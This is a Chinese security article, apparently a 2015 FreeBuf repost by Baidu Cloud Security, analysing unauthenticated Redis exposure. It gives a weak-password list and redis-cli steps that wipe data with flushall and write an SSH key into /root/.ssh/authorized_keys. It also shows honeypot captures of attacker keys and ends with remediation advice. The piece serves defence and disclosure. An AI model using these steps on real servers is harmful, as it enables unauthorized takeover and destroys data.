Redis事件综合分析

标签: 安全管理 数据安全 系统安全 终端安全 Redis | 发表时间:2015-11-19 01:00 | 作者:百度云安全
出处:http://www.freebuf.com

0×00前言

redis未授权访问一直未被大家重视,直到11月4号,在 这篇blog 上被爆出:redis可以通过写入SSH Key进而控制服务器,安全人员开始大量关注这一事件。

0×01漏洞简介

暴露在公网的redis如果没有启用认证服务或者采用弱口令密钥对时,可被攻击者恶意登录,通过写入SSH公钥或者写入crontab执行命令的方式进而控制服务器。

0×02影响状况

百度泰坦平台对全网默认端口的redis进行探测,通过两天的数据对比,发现redis仍未被甲方公司重视。

其中弱口令的选取如下:

用户名
root
admin
redis
administrator
webadmin
sysadmin
netadmin
密码
123456
12345
123456789
password
iloveyou
redis
root
admin
12345678
1234567

国内redis状况:

中国是受危害最大的一个国家。主要数据如下:

国内redis未授权访问的主要城市分布:

0×03漏洞利用

方法一:

通过Redis的set方法,把自己生成的SSH公钥文件写入到user/.ssh的目录下,实现ssh免认证登录。

$ ssh-keygen -t rsa//生成公钥$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
//处理公钥格式写入文件
$ redis-cli -h 192.168.1.11 flushall
//登录redis  删除所有数据库以及key(保证写入的数据不掺杂其他数据,慎用)
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit//写入数据$ redis-cli -h 192.168.1.11 192.168.1.11:6379> config set dir /root/.ssh/设置保存路径192.168.1.11:6379> config set dbfilename "authorized_keys"设置数据库名192.168.1.11:6379> save保存数据库的内容到/root/.ssh/authorized_keys 保存的authorized_keys会覆盖之前的,会导致之前设置的免登录失效。

方法二:

写入到crontab 里执行。

通过Redis的set1 ‘xxx’命令使得写入数据始终在最前,保证执行成功,但写入数据较大(来源猪猪侠@wooyun)。

crontab 对执行的文件格式要求比较松散。

在centos里写入到/var/spool/cron目录。

参考方法一。

0×04漏洞跟踪

在我们自己部署的多台蜜罐中,采用redis的monitor进行监控。

redis-cli -h xx.xx.xx. monitor >ksdf.log

然后对log进行监控。

其中有台蜜罐在1小时内,就捕获了一条入侵命令。

46.151.53.230  来自于乌克兰的同胞的问候,此IP在我们收集的代理列表中命中,有可能只是一台跳板机器。

他的公钥如下

ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQC/Z+/g2nHKXaWxCJD1wpFRt8EuBi1ud2kIyouw+YN3JlAmslKAKCiHURwDs4n/gCwQZsw6cK3diLJj2yJ7IeWMaCNN5TeMhKnapyNV4FylrykBWOEJ+BW0Nlp1ntqAmE0rU+UslfroIjxMuzAJlGNbSe4oHiS6X2vdvYD6mYmqptnHjPhE58vqkjMiC1qpqR67G6Is+TX3IWrDLXVv6HQkLMqUVz+LU3m1/lCS/32xjBQwPzRf9ZY8sUb+aGMe0/jtQSiZCvCsm1O2ZlETgWLGgDQMlDfDc3rsOLsSZVG5L018+h6TdcKqKSDstLq76JdHJpBWN3lODKcQxyh4GNG5administrator@redis.io

其他获取到公钥如下

ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQC74d4oNJ2iLuPiX6ocXjuDANP1g6kRa0Zf89o0wRwumGKKCxwMJ6jl2pGpmETcFHgFUOUt/bOmnAqpIQUGmsF5Ta9EOKJbwaoxzGMsvenvNF+baGUe7rdAHEfc/IGemsAm6InI8nKUP/Qarm9572ORwoPk/jNY6i5bQLPeuRIcE4wnazQf7PW0qxitTAn2ejhDfbJRMiBm6eBL0ghgjJ3d1EddhKuC11/Iyx+SBo2RdSJM6w+3nIT6PWirlzgQCHcmY+0IaY1vfRpbyH14FEWIjEGNB68agpdO8YGtmSMPh6RxAghdIpbuOEqzrOf/XrTgqEcYPYl8jxL0Zwj5L4tHadmin@admin.com
ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCcuHEVMRqY/Co/RJ5o5RTZmpl6sZ7U6w39WAvM7Scl7nGvr5mS4MRRIDaoAZpw7sPjmBHz2HwvAPYGCekcIVk8Xzc3p31v79fWeLXXyxts0jFZ8YZhYMZiugOgCKvRIs63DFf1gFoM/OHUyDHosi8E6BOi7ANqupScN8cIxDGsXMFr4EbQn4DoFeRTKLg5fHL9qGamaXXZRECkWHmjFYUZGjgeAiSYdZR49X36jQ6nuFBM18cEZe5ZkxbbtubnbAOMrB52tQX4RrOqmuWVE/Z0uCOBlbbG+9sKyY9wyp/aHLnRiyC8GBvbrZqQmyn9Yu1zBp3tY8Tt6DWmo6BLZV4/crack@redis.io

总结:

由于Redis 是覆盖写,多个黑客或团体一直在争夺最终的写入。

当如果发现自己的Redis突然被清空,在0号默认库中执行 keys * 命令只显示

"crackit" 或者其他奇怪的key,那么“恭喜”你中招了。

0×05修复建议

1.对自己的Redis加入认证,除非必要,否则不要把自身暴露到公网中,也不要以root启用Redis。
2.iptables 对自用固定的端口开启白名单。
3.查看自己的authorized_keys,以及crontab 任务,如果包含REDIS的开头,请重置。
4.确认自己被hack的机器,请检查 chkrootkit和 rootkit hunter检查rootkit。

http://www.chkrootkit.org

http://www.rootkit.nl/projects/rootkit_hunter.html

*本文作者:百度云安全,转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)

相关 [redis 事件 综合分析] 推荐:

Redis事件综合分析

- - FreeBuf.COM | 关注黑客与极客
redis未授权访问一直未被大家重视,直到11月4号,在. 这篇blog 上被爆出:redis可以通过写入SSH Key进而控制服务器,安全人员开始大量关注这一事件. 暴露在公网的redis如果没有启用认证服务或者采用弱口令密钥对时,可被攻击者恶意登录,通过写入SSH公钥或者写入crontab执行命令的方式进而控制服务器.

Redis事件驱动库结构

- zffl - NoSQLFan
本文翻译自Redis官方对事件驱动库的结构描述,英文原文点这里,由Day Day Up博客原创,文章写的时间已经比较长了,今天才被NoSQLFan挖出来,实属难得. 文章地址:blog.ddup.us. 这是一篇翻译文章,原文见这里. Redis实现了它自己的事件库. 要弄明白Redis事件库是如何工作的最好的方法就是弄明白Redis是如何使用它的.

Redis的事件循环与定时器模型

- ndv - basic coder
当然,这里要写的不是关于Redis的进程模型,而是Redis的事件模型和定时器模型. 在main()函数的最后调用了aeMain()这个函数进入Redis的事件循环,这个函数的很简单,循环调用aeProcessEvents()来对事件进行处理:. 在此之前Redis做了很多初始化的工作,这些工作大多是在initServer()这个函数中执行的,初始化一些相关的list,dict等,调用aeCreateEventLoop()初始化eventloop,这个函数初始化eventloop相关的数据结构,并最终调用了epoll_create()函数,对epoll上下文进行初始化.

Redis 负载监控——redis-monitor

- - ITeye资讯频道
redis-monitor是一个Web可视化的 redis 监控程序. 使用 Flask 来开发的,代码结构非常简单,适合移植到公司内网使用. redis 服务器信息,包括 redis 版本、上线时间、 os 系统信息等等. 实时的消息处理信息,例如处理 command 数量、连接总数量等. 内存占用、 cpu 消耗实时动态图表.

Redis 起步

- - 博客园_首页
Rdis和JQuery一样是纯粹为应用而产生的,这里记录的是在CentOS 5.7上学习入门文章:. Redis是一个key-value存储系统. 和Memcached类似,但是解决了断电后数据完全丢失的情况,而且她支持更多无化的value类型,除了和string外,还支持lists(链表)、sets(集合)和zsets(有序集合)几种数据类型.

redis 配置

- - 谁主沉浮
# 当配置中需要配置内存大小时,可以使用 1k, 5GB, 4M 等类似的格式,其转换方式如下(不区分大小写). # 内存配置大小写是一样的.比如 1gb 1Gb 1GB 1gB. # daemonize no 默认情况下,redis不是在后台运行的,如果需要在后台运行,把该项的值更改为yes. # 当redis在后台运行的时候,Redis默认会把pid文件放在/var/run/redis.pid,你可以配置到其他地址.

Cassandra代替Redis?

- - Tim[后端技术]
最近用Cassandra的又逐渐多了,除了之前的360案例,在月初的QCon Shanghai 2013 篱笆网也介绍了其使用案例. 而这篇 百万用户时尚分享网站feed系统扩展实践文章则提到了Fashiolista和Instagram从Redis迁移到Cassandra的案例. 考虑到到目前仍然有不少网友在讨论Redis的用法问题,Redis是一个数据库、内存、还是Key value store?以及Redis和memcache在实际场景的抉择问题,因此简单谈下相关区别.

redis 部署

- - CSDN博客云计算推荐文章
一、单机部署 tar xvf redis-2.6.16.tar.gz cd redis-2.6.16 make make PREFIX=/usr/local/redis install  #指定安装目录为/usr/local/redis,默认安装安装到/usr/local/bin. # chkconfig: 2345 80 10       #添加redhat系列操作系统平台,开机启动需求项(运行级别,开机时服务启动顺序、关机时服务关闭顺序) # description:  Starts, stops redis server.

转 redis vs memcached

- - 数据库 - ITeye博客
传统MySQL+ Memcached架构遇到的问题.   实际MySQL是适合进行海量数据存储的,通过Memcached将热点数据加载到cache,加速访问,很多公司都曾经使用过这样的架构,但随着业务数据量的不断增加,和访问量的持续增长,我们遇到了很多问题:.   1.MySQL需要不断进行拆库拆表,Memcached也需不断跟着扩容,扩容和维护工作占据大量开发时间.

nagios 监控redis

- - C1G军火库
下载check_redis.pl. OK: REDIS 2.6.12 on 192.168.0.130:6379 has 1 databases (db0) with 49801 keys, up 3 days 14 hours - connected_clients is 1, blocked_clients is 0 | connected_clients=1 blocked_clients=0.